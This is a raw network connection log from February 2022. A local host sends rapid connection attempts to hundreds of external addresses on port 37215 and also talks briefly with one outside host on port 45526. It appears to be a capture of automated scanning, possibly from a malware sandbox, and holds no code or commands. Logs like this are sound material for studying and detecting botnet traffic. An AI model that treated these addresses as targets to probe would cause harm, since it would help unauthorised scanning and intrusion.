Feb 20, 2022 16:02:47.742218018 CET	27221	37215	192.168.2.23	45.147.61.137
Feb 20, 2022 16:02:47.742266893 CET	27221	37215	192.168.2.23	45.81.20.214
Feb 20, 2022 16:02:47.742269039 CET	27221	37215	192.168.2.23	45.248.136.32
Feb 20, 2022 16:02:47.742278099 CET	27221	37215	192.168.2.23	45.116.26.187
Feb 20, 2022 16:02:47.742343903 CET	27221	37215	192.168.2.23	45.185.215.187
Feb 20, 2022 16:02:47.742361069 CET	27221	37215	192.168.2.23	45.84.34.154
Feb 20, 2022 16:02:47.742362022 CET	27221	37215	192.168.2.23	45.126.172.215
Feb 20, 2022 16:02:47.742464066 CET	27221	37215	192.168.2.23	45.136.185.152
Feb 20, 2022 16:02:47.742480040 CET	27221	37215	192.168.2.23	45.106.134.160
Feb 20, 2022 16:02:47.742510080 CET	27221	37215	192.168.2.23	45.58.48.83
Feb 20, 2022 16:02:47.742526054 CET	27221	37215	192.168.2.23	45.65.255.134
Feb 20, 2022 16:02:47.742535114 CET	27221	37215	192.168.2.23	45.85.130.115
Feb 20, 2022 16:02:47.742592096 CET	27221	37215	192.168.2.23	45.174.213.145
Feb 20, 2022 16:02:47.742607117 CET	27221	37215	192.168.2.23	45.53.252.64
Feb 20, 2022 16:02:47.742609978 CET	27221	37215	192.168.2.23	45.249.38.250
Feb 20, 2022 16:02:47.742666006 CET	27221	37215	192.168.2.23	45.145.34.97
Feb 20, 2022 16:02:47.742687941 CET	27221	37215	192.168.2.23	45.9.110.171
Feb 20, 2022 16:02:47.742719889 CET	27221	37215	192.168.2.23	45.106.183.69
Feb 20, 2022 16:02:47.742778063 CET	27221	37215	192.168.2.23	45.245.186.224
Feb 20, 2022 16:02:47.742789984 CET	27221	37215	192.168.2.23	45.238.203.119
Feb 20, 2022 16:02:47.742796898 CET	27221	37215	192.168.2.23	45.253.147.228
Feb 20, 2022 16:02:47.742832899 CET	27221	37215	192.168.2.23	45.15.213.84
Feb 20, 2022 16:02:47.742863894 CET	27221	37215	192.168.2.23	45.38.79.120
Feb 20, 2022 16:02:47.742940903 CET	27221	37215	192.168.2.23	45.196.101.54
Feb 20, 2022 16:02:47.742942095 CET	27221	37215	192.168.2.23	45.218.238.74
Feb 20, 2022 16:02:47.743004084 CET	27221	37215	192.168.2.23	45.155.16.139
Feb 20, 2022 16:02:47.743077040 CET	27221	37215	192.168.2.23	45.91.227.82
Feb 20, 2022 16:02:47.743083000 CET	27221	37215	192.168.2.23	45.14.133.122
Feb 20, 2022 16:02:47.743083954 CET	27221	37215	192.168.2.23	45.26.241.190
Feb 20, 2022 16:02:47.743103027 CET	27221	37215	192.168.2.23	45.145.17.139
Feb 20, 2022 16:02:47.743114948 CET	27221	37215	192.168.2.23	45.106.202.162
Feb 20, 2022 16:02:47.743226051 CET	27221	37215	192.168.2.23	45.248.247.32
Feb 20, 2022 16:02:47.743242979 CET	27221	37215	192.168.2.23	45.151.159.168
Feb 20, 2022 16:02:47.743243933 CET	27221	37215	192.168.2.23	45.191.21.107
Feb 20, 2022 16:02:47.743272066 CET	27221	37215	192.168.2.23	45.59.131.30
Feb 20, 2022 16:02:47.743288040 CET	27221	37215	192.168.2.23	45.196.122.240
Feb 20, 2022 16:02:47.743354082 CET	27221	37215	192.168.2.23	45.163.128.103
Feb 20, 2022 16:02:47.743356943 CET	27221	37215	192.168.2.23	45.198.26.145
Feb 20, 2022 16:02:47.743416071 CET	27221	37215	192.168.2.23	45.71.252.146
Feb 20, 2022 16:02:47.743423939 CET	27221	37215	192.168.2.23	45.172.195.94
Feb 20, 2022 16:02:47.743498087 CET	27221	37215	192.168.2.23	45.106.20.21
Feb 20, 2022 16:02:47.743499994 CET	27221	37215	192.168.2.23	45.220.226.8
Feb 20, 2022 16:02:47.743524075 CET	27221	37215	192.168.2.23	45.161.42.118
Feb 20, 2022 16:02:47.743557930 CET	27221	37215	192.168.2.23	45.157.104.181
Feb 20, 2022 16:02:47.743583918 CET	27221	37215	192.168.2.23	45.92.206.172
Feb 20, 2022 16:02:47.743623972 CET	27221	37215	192.168.2.23	45.71.183.84
Feb 20, 2022 16:02:47.743689060 CET	27221	37215	192.168.2.23	45.174.10.63
Feb 20, 2022 16:02:47.743725061 CET	27221	37215	192.168.2.23	45.166.75.69
Feb 20, 2022 16:02:47.743727922 CET	27221	37215	192.168.2.23	45.122.110.126
Feb 20, 2022 16:02:47.743778944 CET	27221	37215	192.168.2.23	45.3.124.134
Feb 20, 2022 16:02:47.743829966 CET	27221	37215	192.168.2.23	45.161.39.87
Feb 20, 2022 16:02:47.743849993 CET	27221	37215	192.168.2.23	45.60.210.191
Feb 20, 2022 16:02:47.743884087 CET	27221	37215	192.168.2.23	45.149.40.131
Feb 20, 2022 16:02:47.743940115 CET	27221	37215	192.168.2.23	45.244.86.198
Feb 20, 2022 16:02:47.743978024 CET	27221	37215	192.168.2.23	45.155.163.106
Feb 20, 2022 16:02:47.743979931 CET	27221	37215	192.168.2.23	45.187.188.54
Feb 20, 2022 16:02:47.743982077 CET	27221	37215	192.168.2.23	45.166.126.111
Feb 20, 2022 16:02:47.744055986 CET	27221	37215	192.168.2.23	45.229.91.151
Feb 20, 2022 16:02:47.744088888 CET	27221	37215	192.168.2.23	45.162.146.130
Feb 20, 2022 16:02:47.744091034 CET	27221	37215	192.168.2.23	45.104.113.200
Feb 20, 2022 16:02:47.744102955 CET	27221	37215	192.168.2.23	45.114.197.248
Feb 20, 2022 16:02:47.744132996 CET	27221	37215	192.168.2.23	45.166.93.72
Feb 20, 2022 16:02:47.744160891 CET	27221	37215	192.168.2.23	45.144.92.207
Feb 20, 2022 16:02:47.744256020 CET	37215	27221	45.178.5.200	192.168.2.23
Feb 20, 2022 16:02:47.744277954 CET	27221	37215	192.168.2.23	45.217.124.237
Feb 20, 2022 16:02:47.744290113 CET	27221	37215	192.168.2.23	45.59.16.176
Feb 20, 2022 16:02:47.744298935 CET	27221	37215	192.168.2.23	45.34.148.34
Feb 20, 2022 16:02:47.744308949 CET	27221	37215	192.168.2.23	45.57.255.59
Feb 20, 2022 16:02:47.744354010 CET	27221	37215	192.168.2.23	45.185.4.3
Feb 20, 2022 16:02:47.744385958 CET	27221	37215	192.168.2.23	45.197.158.231
Feb 20, 2022 16:02:47.744440079 CET	27221	37215	192.168.2.23	45.195.104.162
Feb 20, 2022 16:02:47.744441032 CET	27221	37215	192.168.2.23	45.126.164.65
Feb 20, 2022 16:02:47.744441032 CET	27221	37215	192.168.2.23	45.71.132.68
Feb 20, 2022 16:02:47.744481087 CET	27221	37215	192.168.2.23	45.157.116.41
Feb 20, 2022 16:02:47.744514942 CET	27221	37215	192.168.2.23	45.133.218.84
Feb 20, 2022 16:02:47.744563103 CET	27221	37215	192.168.2.23	45.181.164.255
Feb 20, 2022 16:02:47.744581938 CET	27221	37215	192.168.2.23	45.243.164.7
Feb 20, 2022 16:02:47.744623899 CET	27221	37215	192.168.2.23	45.209.14.3
Feb 20, 2022 16:02:47.744652033 CET	27221	37215	192.168.2.23	45.9.84.24
Feb 20, 2022 16:02:47.744688034 CET	27221	37215	192.168.2.23	45.59.249.86
Feb 20, 2022 16:02:47.744718075 CET	27221	37215	192.168.2.23	45.102.228.129
Feb 20, 2022 16:02:47.744759083 CET	27221	37215	192.168.2.23	45.239.229.84
Feb 20, 2022 16:02:47.744787931 CET	27221	37215	192.168.2.23	45.215.136.220
Feb 20, 2022 16:02:47.744812012 CET	27221	37215	192.168.2.23	45.199.67.134
Feb 20, 2022 16:02:47.744904041 CET	27221	37215	192.168.2.23	45.53.143.156
Feb 20, 2022 16:02:47.744919062 CET	27221	37215	192.168.2.23	45.198.84.33
Feb 20, 2022 16:02:47.744963884 CET	27221	37215	192.168.2.23	45.8.245.86
Feb 20, 2022 16:02:47.744971991 CET	27221	37215	192.168.2.23	45.25.75.219
Feb 20, 2022 16:02:47.745031118 CET	27221	37215	192.168.2.23	45.245.45.114
Feb 20, 2022 16:02:47.745033979 CET	27221	37215	192.168.2.23	45.88.19.245
Feb 20, 2022 16:02:47.745034933 CET	27221	37215	192.168.2.23	45.178.215.178
Feb 20, 2022 16:02:47.745070934 CET	27221	37215	192.168.2.23	45.196.186.50
Feb 20, 2022 16:02:47.745101929 CET	27221	37215	192.168.2.23	45.72.118.169
Feb 20, 2022 16:02:47.745172977 CET	27221	37215	192.168.2.23	45.171.6.55
Feb 20, 2022 16:02:47.745174885 CET	27221	37215	192.168.2.23	45.46.243.249
Feb 20, 2022 16:02:47.745260000 CET	37215	27221	45.83.8.31	192.168.2.23
Feb 20, 2022 16:02:47.745263100 CET	27221	37215	192.168.2.23	45.181.243.132
Feb 20, 2022 16:02:47.745290041 CET	27221	37215	192.168.2.23	45.253.120.21
Feb 20, 2022 16:02:47.745342016 CET	27221	37215	192.168.2.23	45.108.43.74
Feb 20, 2022 16:02:47.745353937 CET	27221	37215	192.168.2.23	45.74.62.206
Feb 20, 2022 16:02:47.745376110 CET	27221	37215	192.168.2.23	45.149.166.146
Feb 20, 2022 16:02:47.745377064 CET	27221	37215	192.168.2.23	45.193.83.151
Feb 20, 2022 16:02:47.745428085 CET	27221	37215	192.168.2.23	45.54.173.157
Feb 20, 2022 16:02:47.745441914 CET	27221	37215	192.168.2.23	45.190.254.23
Feb 20, 2022 16:02:47.745495081 CET	27221	37215	192.168.2.23	45.159.90.133
Feb 20, 2022 16:02:47.745511055 CET	27221	37215	192.168.2.23	45.37.129.67
Feb 20, 2022 16:02:47.745559931 CET	27221	37215	192.168.2.23	45.189.195.161
Feb 20, 2022 16:02:47.745563030 CET	27221	37215	192.168.2.23	45.85.202.38
Feb 20, 2022 16:02:47.745563984 CET	27221	37215	192.168.2.23	45.219.19.233
Feb 20, 2022 16:02:47.745618105 CET	27221	37215	192.168.2.23	45.86.88.218
Feb 20, 2022 16:02:47.745635986 CET	27221	37215	192.168.2.23	45.118.127.56
Feb 20, 2022 16:02:47.745723009 CET	27221	37215	192.168.2.23	45.115.61.36
Feb 20, 2022 16:02:47.745727062 CET	27221	37215	192.168.2.23	45.139.121.33
Feb 20, 2022 16:02:47.745748997 CET	27221	37215	192.168.2.23	45.150.127.146
Feb 20, 2022 16:02:47.745758057 CET	27221	37215	192.168.2.23	45.37.25.8
Feb 20, 2022 16:02:47.745830059 CET	27221	37215	192.168.2.23	45.151.241.46
Feb 20, 2022 16:02:47.745847940 CET	27221	37215	192.168.2.23	45.233.146.127
Feb 20, 2022 16:02:47.745899916 CET	27221	37215	192.168.2.23	45.255.132.132
Feb 20, 2022 16:02:47.745932102 CET	27221	37215	192.168.2.23	45.163.169.173
Feb 20, 2022 16:02:47.745965004 CET	27221	37215	192.168.2.23	45.82.237.6
Feb 20, 2022 16:02:47.745981932 CET	27221	37215	192.168.2.23	45.97.238.72
Feb 20, 2022 16:02:47.745990038 CET	27221	37215	192.168.2.23	45.36.157.225
Feb 20, 2022 16:02:47.746072054 CET	27221	37215	192.168.2.23	45.73.252.180
Feb 20, 2022 16:02:47.746072054 CET	27221	37215	192.168.2.23	45.156.82.9
Feb 20, 2022 16:02:47.746088028 CET	27221	37215	192.168.2.23	45.79.249.254
Feb 20, 2022 16:02:47.746579885 CET	27221	37215	192.168.2.23	45.60.82.18
Feb 20, 2022 16:02:47.747133017 CET	37215	27221	45.13.104.224	192.168.2.23
Feb 20, 2022 16:02:47.751230001 CET	37215	27477	154.222.83.147	192.168.2.23
Feb 20, 2022 16:02:47.751250029 CET	37215	27221	45.89.210.216	192.168.2.23
Feb 20, 2022 16:02:47.751277924 CET	37215	27221	45.149.134.165	192.168.2.23
Feb 20, 2022 16:02:47.751292944 CET	37215	27477	154.222.67.207	192.168.2.23
Feb 20, 2022 16:02:47.751967907 CET	37215	27221	45.141.39.181	192.168.2.23
Feb 20, 2022 16:02:47.757189035 CET	37215	27221	45.137.41.1	192.168.2.23
Feb 20, 2022 16:02:47.759556055 CET	44846	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:47.759576082 CET	55344	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:47.762629032 CET	37215	27221	45.146.253.63	192.168.2.23
Feb 20, 2022 16:02:47.765466928 CET	37215	27221	45.152.211.23	192.168.2.23
Feb 20, 2022 16:02:47.766017914 CET	37215	27221	45.81.79.174	192.168.2.23
Feb 20, 2022 16:02:47.766145945 CET	37215	27221	45.134.85.27	192.168.2.23
Feb 20, 2022 16:02:47.766164064 CET	37215	27221	45.43.84.7	192.168.2.23
Feb 20, 2022 16:02:47.766176939 CET	37215	27221	45.148.245.148	192.168.2.23
Feb 20, 2022 16:02:47.766194105 CET	37215	27221	45.88.133.248	192.168.2.23
Feb 20, 2022 16:02:47.772944927 CET	37215	27221	45.255.132.132	192.168.2.23
Feb 20, 2022 16:02:47.773531914 CET	37215	27221	45.81.79.232	192.168.2.23
Feb 20, 2022 16:02:47.774370909 CET	37215	27221	45.80.4.149	192.168.2.23
Feb 20, 2022 16:02:47.774394035 CET	37215	27221	45.89.153.145	192.168.2.23
Feb 20, 2022 16:02:47.774415016 CET	37215	27221	45.67.90.229	192.168.2.23
Feb 20, 2022 16:02:47.778636932 CET	37215	27221	45.129.197.196	192.168.2.23
Feb 20, 2022 16:02:47.779956102 CET	37215	27221	45.84.0.42	192.168.2.23
Feb 20, 2022 16:02:47.784532070 CET	37215	27221	45.9.171.247	192.168.2.23
Feb 20, 2022 16:02:47.785999060 CET	37215	27221	45.141.148.203	192.168.2.23
Feb 20, 2022 16:02:47.786029100 CET	37215	27221	45.159.87.47	192.168.2.23
Feb 20, 2022 16:02:47.789593935 CET	37215	27221	45.9.75.187	192.168.2.23
Feb 20, 2022 16:02:47.796376944 CET	37215	27221	45.155.16.139	192.168.2.23
Feb 20, 2022 16:02:47.796422005 CET	37215	27221	45.92.106.123	192.168.2.23
Feb 20, 2022 16:02:47.803035021 CET	37215	27221	45.153.215.46	192.168.2.23
Feb 20, 2022 16:02:47.810039997 CET	37215	27221	45.157.229.119	192.168.2.23
Feb 20, 2022 16:02:47.814198971 CET	37215	27221	45.151.191.231	192.168.2.23
Feb 20, 2022 16:02:47.814481974 CET	37215	27221	45.33.65.47	192.168.2.23
Feb 20, 2022 16:02:47.814629078 CET	37215	27221	45.151.190.144	192.168.2.23
Feb 20, 2022 16:02:47.814686060 CET	37215	27221	45.81.143.180	192.168.2.23
Feb 20, 2022 16:02:47.814714909 CET	37215	27221	45.143.108.126	192.168.2.23
Feb 20, 2022 16:02:47.820513964 CET	37215	27221	45.197.207.161	192.168.2.23
Feb 20, 2022 16:02:47.828603029 CET	37215	27221	45.135.150.148	192.168.2.23
Feb 20, 2022 16:02:47.830991030 CET	37215	27221	45.151.78.138	192.168.2.23
Feb 20, 2022 16:02:47.837676048 CET	37215	27221	45.8.20.149	192.168.2.23
Feb 20, 2022 16:02:47.839485884 CET	37215	27221	154.149.120.23	192.168.2.23
Feb 20, 2022 16:02:47.839799881 CET	37215	27221	45.147.35.165	192.168.2.23
Feb 20, 2022 16:02:47.841464996 CET	37215	27221	45.154.141.245	192.168.2.23
Feb 20, 2022 16:02:47.842119932 CET	37215	27221	45.87.152.25	192.168.2.23
Feb 20, 2022 16:02:47.843031883 CET	37215	27221	45.196.186.50	192.168.2.23
Feb 20, 2022 16:02:47.844790936 CET	37215	27221	45.205.227.231	192.168.2.23
Feb 20, 2022 16:02:47.844834089 CET	37215	27221	45.205.222.184	192.168.2.23
Feb 20, 2022 16:02:47.847708941 CET	37215	27221	45.203.178.54	192.168.2.23
Feb 20, 2022 16:02:47.848798990 CET	37215	27221	45.57.255.59	192.168.2.23
Feb 20, 2022 16:02:47.849379063 CET	37215	27221	45.238.159.89	192.168.2.23
Feb 20, 2022 16:02:47.850271940 CET	37215	27221	45.159.90.133	192.168.2.23
Feb 20, 2022 16:02:47.853219986 CET	37215	27221	45.92.235.249	192.168.2.23
Feb 20, 2022 16:02:47.853286028 CET	37215	27221	45.149.166.178	192.168.2.23
Feb 20, 2022 16:02:47.853581905 CET	37215	27221	45.197.230.22	192.168.2.23
Feb 20, 2022 16:02:47.858983994 CET	37215	27221	45.148.9.45	192.168.2.23
Feb 20, 2022 16:02:47.861269951 CET	37215	27221	45.85.130.115	192.168.2.23
Feb 20, 2022 16:02:47.861500978 CET	37215	27221	45.76.239.70	192.168.2.23
Feb 20, 2022 16:02:47.863652945 CET	37215	27221	45.17.73.148	192.168.2.23
Feb 20, 2022 16:02:47.873644114 CET	37215	27221	45.76.234.173	192.168.2.23
Feb 20, 2022 16:02:47.873684883 CET	37215	27221	45.38.195.195	192.168.2.23
Feb 20, 2022 16:02:47.874327898 CET	37215	27221	45.149.166.146	192.168.2.23
Feb 20, 2022 16:02:47.875464916 CET	37215	27221	45.54.240.185	192.168.2.23
Feb 20, 2022 16:02:47.875824928 CET	37215	27221	45.184.250.168	192.168.2.23
Feb 20, 2022 16:02:47.876108885 CET	37215	27221	45.59.131.30	192.168.2.23
Feb 20, 2022 16:02:47.878547907 CET	37215	27221	45.7.138.46	192.168.2.23
Feb 20, 2022 16:02:47.879350901 CET	37215	27221	45.39.37.162	192.168.2.23
Feb 20, 2022 16:02:47.879383087 CET	37215	27221	45.59.16.176	192.168.2.23
Feb 20, 2022 16:02:47.880225897 CET	37215	27221	45.198.26.145	192.168.2.23
Feb 20, 2022 16:02:47.880965948 CET	37215	27221	45.86.79.45	192.168.2.23
Feb 20, 2022 16:02:47.884246111 CET	37215	27221	45.15.124.223	192.168.2.23
Feb 20, 2022 16:02:47.884814978 CET	37215	27221	45.43.217.52	192.168.2.23
Feb 20, 2022 16:02:47.885119915 CET	37215	27221	45.78.143.12	192.168.2.23
Feb 20, 2022 16:02:47.885227919 CET	37215	27221	45.72.118.169	192.168.2.23
Feb 20, 2022 16:02:47.885299921 CET	37215	27221	45.142.80.219	192.168.2.23
Feb 20, 2022 16:02:47.887465000 CET	37215	27221	45.5.94.238	192.168.2.23
Feb 20, 2022 16:02:47.887989998 CET	37215	27221	45.54.173.157	192.168.2.23
Feb 20, 2022 16:02:47.891834021 CET	37215	27221	45.219.79.81	192.168.2.23
Feb 20, 2022 16:02:47.891985893 CET	37215	27221	45.58.48.83	192.168.2.23
Feb 20, 2022 16:02:47.892390966 CET	37215	27221	45.192.216.134	192.168.2.23
Feb 20, 2022 16:02:47.894682884 CET	37215	27221	45.72.18.7	192.168.2.23
Feb 20, 2022 16:02:47.895247936 CET	37215	27221	45.195.117.12	192.168.2.23
Feb 20, 2022 16:02:47.895332098 CET	27221	37215	192.168.2.23	45.195.117.12
Feb 20, 2022 16:02:47.898442030 CET	37215	27221	45.193.246.182	192.168.2.23
Feb 20, 2022 16:02:47.900059938 CET	37215	27221	45.172.95.185	192.168.2.23
Feb 20, 2022 16:02:47.902092934 CET	37215	27221	45.41.86.230	192.168.2.23
Feb 20, 2022 16:02:47.902136087 CET	27221	37215	192.168.2.23	45.41.86.230
Feb 20, 2022 16:02:47.929369926 CET	37215	27221	45.185.4.70	192.168.2.23
Feb 20, 2022 16:02:47.934479952 CET	37215	27221	45.195.13.89	192.168.2.23
Feb 20, 2022 16:02:47.934540033 CET	27221	37215	192.168.2.23	45.195.13.89
Feb 20, 2022 16:02:47.936070919 CET	37215	27221	45.95.43.103	192.168.2.23
Feb 20, 2022 16:02:47.944572926 CET	37215	27221	45.183.19.38	192.168.2.23
Feb 20, 2022 16:02:47.953615904 CET	37215	27221	45.7.57.83	192.168.2.23
Feb 20, 2022 16:02:47.955730915 CET	37215	27221	45.160.161.55	192.168.2.23
Feb 20, 2022 16:02:47.956729889 CET	37215	27221	45.114.145.47	192.168.2.23
Feb 20, 2022 16:02:47.961574078 CET	37215	27221	45.40.11.115	192.168.2.23
Feb 20, 2022 16:02:47.962898970 CET	37215	27221	45.167.148.122	192.168.2.23
Feb 20, 2022 16:02:47.965208054 CET	37215	27221	45.191.151.32	192.168.2.23
Feb 20, 2022 16:02:47.969352961 CET	37215	27221	45.169.12.252	192.168.2.23
Feb 20, 2022 16:02:47.970575094 CET	37215	27221	45.224.107.172	192.168.2.23
Feb 20, 2022 16:02:47.973089933 CET	37215	27221	45.185.4.3	192.168.2.23
Feb 20, 2022 16:02:47.973340988 CET	37215	27221	45.76.148.142	192.168.2.23
Feb 20, 2022 16:02:47.981245041 CET	37215	27221	45.178.215.178	192.168.2.23
Feb 20, 2022 16:02:47.982206106 CET	37215	27221	45.248.66.202	192.168.2.23
Feb 20, 2022 16:02:47.986493111 CET	37215	27221	45.235.99.2	192.168.2.23
Feb 20, 2022 16:02:47.990221977 CET	37215	27221	45.77.29.233	192.168.2.23
Feb 20, 2022 16:02:47.995733023 CET	37215	27221	45.161.42.118	192.168.2.23
Feb 20, 2022 16:02:48.001449108 CET	37215	27221	45.172.55.8	192.168.2.23
Feb 20, 2022 16:02:48.024045944 CET	37215	27221	45.197.158.231	192.168.2.23
Feb 20, 2022 16:02:48.024108887 CET	27221	37215	192.168.2.23	45.197.158.231
Feb 20, 2022 16:02:48.071860075 CET	37215	27477	154.151.71.63	192.168.2.23
Feb 20, 2022 16:02:48.122195959 CET	37215	27477	154.150.61.139	192.168.2.23
Feb 20, 2022 16:02:48.127235889 CET	47492	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 16:02:48.143364906 CET	37215	27221	45.219.50.72	192.168.2.23
Feb 20, 2022 16:02:48.176390886 CET	45526	47492	103.136.43.126	192.168.2.23
Feb 20, 2022 16:02:48.176470041 CET	47492	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 16:02:48.177294016 CET	47492	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 16:02:48.226301908 CET	45526	47492	103.136.43.126	192.168.2.23
Feb 20, 2022 16:02:48.226380110 CET	47492	45526	192.168.2.23	103.136.43.126
Feb 20, 2022 16:02:48.275578022 CET	45526	47492	103.136.43.126	192.168.2.23
Feb 20, 2022 16:02:48.294044971 CET	27477	37215	192.168.2.23	45.129.118.69
Feb 20, 2022 16:02:48.294087887 CET	27477	37215	192.168.2.23	45.250.207.97
Feb 20, 2022 16:02:48.294152021 CET	27477	37215	192.168.2.23	45.4.162.1
Feb 20, 2022 16:02:48.294168949 CET	27477	37215	192.168.2.23	45.163.75.29
Feb 20, 2022 16:02:48.294188976 CET	27477	37215	192.168.2.23	45.179.66.128
Feb 20, 2022 16:02:48.294253111 CET	27477	37215	192.168.2.23	45.40.115.250
Feb 20, 2022 16:02:48.294255972 CET	27477	37215	192.168.2.23	45.134.241.201
Feb 20, 2022 16:02:48.294261932 CET	27477	37215	192.168.2.23	45.141.240.12
Feb 20, 2022 16:02:48.294264078 CET	27477	37215	192.168.2.23	45.51.46.136
Feb 20, 2022 16:02:48.294284105 CET	27477	37215	192.168.2.23	45.132.116.72
Feb 20, 2022 16:02:48.294292927 CET	27477	37215	192.168.2.23	45.97.112.218
Feb 20, 2022 16:02:48.294344902 CET	27477	37215	192.168.2.23	45.90.13.132
Feb 20, 2022 16:02:48.294377089 CET	27477	37215	192.168.2.23	45.153.134.183
Feb 20, 2022 16:02:48.294384003 CET	27477	37215	192.168.2.23	45.225.88.220
Feb 20, 2022 16:02:48.294400930 CET	27477	37215	192.168.2.23	45.10.70.247
Feb 20, 2022 16:02:48.294414997 CET	27477	37215	192.168.2.23	45.56.229.176
Feb 20, 2022 16:02:48.294444084 CET	27477	37215	192.168.2.23	45.161.38.112
Feb 20, 2022 16:02:48.294455051 CET	27477	37215	192.168.2.23	45.73.3.44
Feb 20, 2022 16:02:48.294481039 CET	27477	37215	192.168.2.23	45.15.42.95
Feb 20, 2022 16:02:48.294508934 CET	27477	37215	192.168.2.23	45.145.243.34
Feb 20, 2022 16:02:48.294526100 CET	27477	37215	192.168.2.23	45.124.102.28
Feb 20, 2022 16:02:48.294555902 CET	27477	37215	192.168.2.23	45.220.195.213
Feb 20, 2022 16:02:48.294569969 CET	27477	37215	192.168.2.23	45.103.192.43
Feb 20, 2022 16:02:48.294589043 CET	27477	37215	192.168.2.23	45.246.171.181
Feb 20, 2022 16:02:48.294626951 CET	27477	37215	192.168.2.23	45.195.53.229
Feb 20, 2022 16:02:48.294656038 CET	27477	37215	192.168.2.23	45.213.209.75
Feb 20, 2022 16:02:48.294678926 CET	27477	37215	192.168.2.23	45.82.155.196
Feb 20, 2022 16:02:48.294703960 CET	27477	37215	192.168.2.23	45.15.1.190
Feb 20, 2022 16:02:48.294733047 CET	27477	37215	192.168.2.23	45.171.162.234
Feb 20, 2022 16:02:48.294759989 CET	27477	37215	192.168.2.23	45.129.227.224
Feb 20, 2022 16:02:48.294801950 CET	27477	37215	192.168.2.23	45.212.188.68
Feb 20, 2022 16:02:48.294811010 CET	27477	37215	192.168.2.23	45.193.88.159
Feb 20, 2022 16:02:48.294841051 CET	27477	37215	192.168.2.23	45.106.254.122
Feb 20, 2022 16:02:48.294866085 CET	27477	37215	192.168.2.23	45.114.89.32
Feb 20, 2022 16:02:48.294868946 CET	27477	37215	192.168.2.23	45.115.173.125
Feb 20, 2022 16:02:48.294888973 CET	27477	37215	192.168.2.23	45.125.70.65
Feb 20, 2022 16:02:48.294914007 CET	27477	37215	192.168.2.23	45.183.129.218
Feb 20, 2022 16:02:48.294941902 CET	27477	37215	192.168.2.23	45.170.108.37
Feb 20, 2022 16:02:48.294977903 CET	27477	37215	192.168.2.23	45.51.124.16
Feb 20, 2022 16:02:48.295001984 CET	27477	37215	192.168.2.23	45.148.120.168
Feb 20, 2022 16:02:48.295021057 CET	27477	37215	192.168.2.23	45.104.135.31
Feb 20, 2022 16:02:48.295043945 CET	27477	37215	192.168.2.23	45.181.194.133
Feb 20, 2022 16:02:48.295053005 CET	27477	37215	192.168.2.23	45.53.223.213
Feb 20, 2022 16:02:48.295088053 CET	27477	37215	192.168.2.23	45.161.168.60
Feb 20, 2022 16:02:48.295099020 CET	27477	37215	192.168.2.23	45.25.120.31
Feb 20, 2022 16:02:48.295131922 CET	27477	37215	192.168.2.23	45.143.213.81
Feb 20, 2022 16:02:48.295147896 CET	27477	37215	192.168.2.23	45.47.90.183
Feb 20, 2022 16:02:48.295166969 CET	27477	37215	192.168.2.23	45.246.23.46
Feb 20, 2022 16:02:48.295197010 CET	27477	37215	192.168.2.23	45.230.122.151
Feb 20, 2022 16:02:48.295206070 CET	27477	37215	192.168.2.23	45.85.209.210
Feb 20, 2022 16:02:48.295254946 CET	27477	37215	192.168.2.23	45.219.203.149
Feb 20, 2022 16:02:48.295278072 CET	27477	37215	192.168.2.23	45.6.18.151
Feb 20, 2022 16:02:48.295301914 CET	27477	37215	192.168.2.23	45.204.127.173
Feb 20, 2022 16:02:48.295327902 CET	27477	37215	192.168.2.23	45.247.226.236
Feb 20, 2022 16:02:48.295351028 CET	27477	37215	192.168.2.23	45.171.151.242
Feb 20, 2022 16:02:48.295386076 CET	27477	37215	192.168.2.23	45.154.215.208
Feb 20, 2022 16:02:48.295408964 CET	27477	37215	192.168.2.23	45.190.17.194
Feb 20, 2022 16:02:48.295439959 CET	27477	37215	192.168.2.23	45.63.2.35
Feb 20, 2022 16:02:48.295459032 CET	27477	37215	192.168.2.23	45.151.102.82
Feb 20, 2022 16:02:48.295506954 CET	27477	37215	192.168.2.23	45.100.158.117
Feb 20, 2022 16:02:48.295517921 CET	27477	37215	192.168.2.23	45.96.109.109
Feb 20, 2022 16:02:48.295542002 CET	27477	37215	192.168.2.23	45.162.63.6
Feb 20, 2022 16:02:48.295577049 CET	27477	37215	192.168.2.23	45.125.100.182
Feb 20, 2022 16:02:48.295589924 CET	27477	37215	192.168.2.23	45.239.143.242
Feb 20, 2022 16:02:48.295612097 CET	27477	37215	192.168.2.23	45.83.161.170
Feb 20, 2022 16:02:48.295627117 CET	27477	37215	192.168.2.23	45.63.142.247
Feb 20, 2022 16:02:48.295670986 CET	27477	37215	192.168.2.23	45.31.249.153
Feb 20, 2022 16:02:48.295702934 CET	27477	37215	192.168.2.23	45.96.99.248
Feb 20, 2022 16:02:48.295706034 CET	27477	37215	192.168.2.23	45.9.58.154
Feb 20, 2022 16:02:48.295717001 CET	27477	37215	192.168.2.23	45.192.57.162
Feb 20, 2022 16:02:48.295737028 CET	27477	37215	192.168.2.23	45.30.3.66
Feb 20, 2022 16:02:48.295763969 CET	27477	37215	192.168.2.23	45.122.186.189
Feb 20, 2022 16:02:48.295779943 CET	27477	37215	192.168.2.23	45.139.27.61
Feb 20, 2022 16:02:48.295802116 CET	27477	37215	192.168.2.23	45.209.146.240
Feb 20, 2022 16:02:48.295826912 CET	27477	37215	192.168.2.23	45.243.97.222
Feb 20, 2022 16:02:48.295854092 CET	27477	37215	192.168.2.23	45.169.118.149
Feb 20, 2022 16:02:48.295880079 CET	27477	37215	192.168.2.23	45.0.216.65
Feb 20, 2022 16:02:48.295902014 CET	27477	37215	192.168.2.23	45.172.137.253
Feb 20, 2022 16:02:48.295917034 CET	27477	37215	192.168.2.23	45.21.183.72
Feb 20, 2022 16:02:48.295934916 CET	27477	37215	192.168.2.23	45.57.157.150
Feb 20, 2022 16:02:48.295967102 CET	27477	37215	192.168.2.23	45.102.130.232
Feb 20, 2022 16:02:48.295989990 CET	27477	37215	192.168.2.23	45.226.106.165
Feb 20, 2022 16:02:48.296008110 CET	27477	37215	192.168.2.23	45.166.133.9
Feb 20, 2022 16:02:48.296027899 CET	27477	37215	192.168.2.23	45.233.120.31
Feb 20, 2022 16:02:48.296051025 CET	27477	37215	192.168.2.23	45.225.149.154
Feb 20, 2022 16:02:48.296078920 CET	27477	37215	192.168.2.23	45.16.193.23
Feb 20, 2022 16:02:48.296093941 CET	27477	37215	192.168.2.23	45.132.31.186
Feb 20, 2022 16:02:48.296117067 CET	27477	37215	192.168.2.23	45.228.41.28
